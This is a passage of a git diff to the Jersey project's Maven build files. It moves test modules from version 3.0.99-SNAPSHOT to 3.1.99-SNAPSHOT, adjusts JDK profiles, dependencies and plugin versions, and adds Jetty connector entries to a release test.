<artifactId>interceptor-global</artifactId>
diff --git a/tests/performance/test-cases/interceptor-name/pom.xml b/tests/performance/test-cases/interceptor-name/pom.xml
index 1ce8e16..883274c 100644
--- a/tests/performance/test-cases/interceptor-name/pom.xml
+++ b/tests/performance/test-cases/interceptor-name/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>interceptor-name</artifactId>
diff --git a/tests/performance/test-cases/mbw-custom-provider/pom.xml b/tests/performance/test-cases/mbw-custom-provider/pom.xml
index e03aa7e..f5ae2dd 100644
--- a/tests/performance/test-cases/mbw-custom-provider/pom.xml
+++ b/tests/performance/test-cases/mbw-custom-provider/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>custom-provider</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-jackson/pom.xml b/tests/performance/test-cases/mbw-json-jackson/pom.xml
index 88be2b1..af23cd8 100644
--- a/tests/performance/test-cases/mbw-json-jackson/pom.xml
+++ b/tests/performance/test-cases/mbw-json-jackson/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-jackson</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-moxy/pom.xml b/tests/performance/test-cases/mbw-json-moxy/pom.xml
index 2e88e34..69d90a9 100644
--- a/tests/performance/test-cases/mbw-json-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-json-moxy/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-moxy</artifactId>
diff --git a/tests/performance/test-cases/mbw-kryo/pom.xml b/tests/performance/test-cases/mbw-kryo/pom.xml
index c2bd7c7..34ed136 100644
--- a/tests/performance/test-cases/mbw-kryo/pom.xml
+++ b/tests/performance/test-cases/mbw-kryo/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>mbw-kryo</artifactId>
diff --git a/tests/performance/test-cases/mbw-text-plain/pom.xml b/tests/performance/test-cases/mbw-text-plain/pom.xml
index 85791e5..688c76e 100644
--- a/tests/performance/test-cases/mbw-text-plain/pom.xml
+++ b/tests/performance/test-cases/mbw-text-plain/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>text-plain</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
index aed91e9..95787b7 100644
--- a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>xml-jaxb</artifactId>
@@ -46,6 +46,11 @@
<artifactId>jakarta.ws.rs-api</artifactId>
<scope>provided</scope>
</dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ </dependency>
+
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
@@ -63,42 +68,4 @@
</plugins>
</build>
- <profiles>
- <profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>jakarta.xml.bind</groupId>
- <artifactId>jakarta.xml.bind-api</artifactId>
- </dependency>
- <dependency>
- <groupId>com.sun.xml.bind</groupId>
- <artifactId>jaxb-osgi</artifactId>
- </dependency>
- </dependencies>
- </profile>
- <profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-surefire-plugin</artifactId>
- <configuration>
- <excludes>
- <exclude>org/glassfish/jersey/tests/performance/mbw/xml/XmlEntityTest.java</exclude>
- </excludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- </profiles>
-
</project>
diff --git a/tests/performance/test-cases/mbw-xml-moxy/pom.xml b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
index 17610d5..d8b9ade 100644
--- a/tests/performance/test-cases/mbw-xml-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>xml-moxy</artifactId>
diff --git a/tests/performance/test-cases/param-srl/pom.xml b/tests/performance/test-cases/param-srl/pom.xml
index d058416..e8d46f4 100644
--- a/tests/performance/test-cases/param-srl/pom.xml
+++ b/tests/performance/test-cases/param-srl/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>param-srl</artifactId>
diff --git a/tests/performance/test-cases/pom.xml b/tests/performance/test-cases/pom.xml
index 240d406..65445f2 100644
--- a/tests/performance/test-cases/pom.xml
+++ b/tests/performance/test-cases/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
diff --git a/tests/performance/test-cases/proxy-injection/pom.xml b/tests/performance/test-cases/proxy-injection/pom.xml
index 417a396..f1ce0a6 100644
--- a/tests/performance/test-cases/proxy-injection/pom.xml
+++ b/tests/performance/test-cases/proxy-injection/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>proxy-injection</artifactId>
diff --git a/tests/performance/tools/pom.xml b/tests/performance/tools/pom.xml
index 6e7949d..41d3b95 100644
--- a/tests/performance/tools/pom.xml
+++ b/tests/performance/tools/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.performance.tools</groupId>
<artifactId>performance-test-tools</artifactId>
diff --git a/tests/pom.xml b/tests/pom.xml
index 2915a00..d548897 100644
--- a/tests/pom.xml
+++ b/tests/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests</groupId>
@@ -107,12 +107,28 @@
</build>
</profile>
<profile>
+ <id>jersey-tck</id>
+ <modules>
+ <module>jersey-tck</module>
+ </modules>
+ <build>
+ </build>
+ </profile>
+ <profile>
<id>JDK11+</id>
<activation>
<jdk>[11,)</jdk>
</activation>
<modules>
<module>release-test</module>
+ </modules>
+ </profile>
+ <profile>
+ <id>JDK17+</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <modules>
<module>version-agnostic</module>
</modules>
</profile>
diff --git a/tests/release-test/pom.xml b/tests/release-test/pom.xml
index 2882162..98cc0cd 100644
--- a/tests/release-test/pom.xml
+++ b/tests/release-test/pom.xml
@@ -23,12 +23,13 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>release-test</artifactId>
+ <version>3.1.99-SNAPSHOT</version>
<packaging>jar</packaging>
<name>jersey-release-test</name>
@@ -57,6 +58,13 @@
</includes>
</configuration>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-deploy-plugin</artifactId>
+ <configuration>
+ <skip>true</skip>
+ </configuration>
+ </plugin>
</plugins>
</build>
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
index 288932a..08be020 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
@@ -139,6 +139,8 @@
if (jerseyVersion.startsWith("3")) {
return new DependencyPair[] {
new DependencyPair("org.glassfish.jersey.connectors", "jersey-helidon-connector"),
+ new DependencyPair("org.glassfish.jersey.connectors", "jersey-jetty-connector"),
+ new DependencyPair("org.glassfish.jersey.containers", "jersey-container-jetty-http"),
new DependencyPair("org.glassfish.jersey.ext", "jersey-spring6")
};
}
diff --git a/tests/stress/pom.xml b/tests/stress/pom.xml
index bb69102..4a51392 100644
--- a/tests/stress/pom.xml
+++ b/tests/stress/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>stress</artifactId>
diff --git a/tests/version-agnostic/pom.xml b/tests/version-agnostic/pom.xml
index c4c44f5..85bd01a 100644
--- a/tests/version-agnostic/pom.xml
+++ b/tests/version-agnostic/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.eclipse.ee4j</groupId>
<artifactId>project</artifactId>
- <version>1.0.8</version>
+ <version>1.0.9</version>
<relativePath>../../../pom.xml</relativePath>
</parent>
@@ -38,7 +38,7 @@
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<hk2.version>3.0.3</hk2.version>
- <jersey.version>3.0.99-SNAPSHOT</jersey.version>
+ <jersey.version>3.1.99-SNAPSHOT</jersey.version>
</properties>
<build>
@@ -46,7 +46,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
- <version>3.0.0-M7</version>
+ <version>3.2.2</version>
<configuration>
<forkCount>1</forkCount>
<reuseForks>false</reuseForks>
@@ -75,6 +75,14 @@
<bsdTemplateFile>etc/config/edl-copyright.txt</bsdTemplateFile>
</configuration>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-deploy-plugin</artifactId>
+ <version>3.1.1</version>
+ <configuration>
+ <skip>true</skip>
+ </configuration>
+ </plugin>
</plugins>
</build>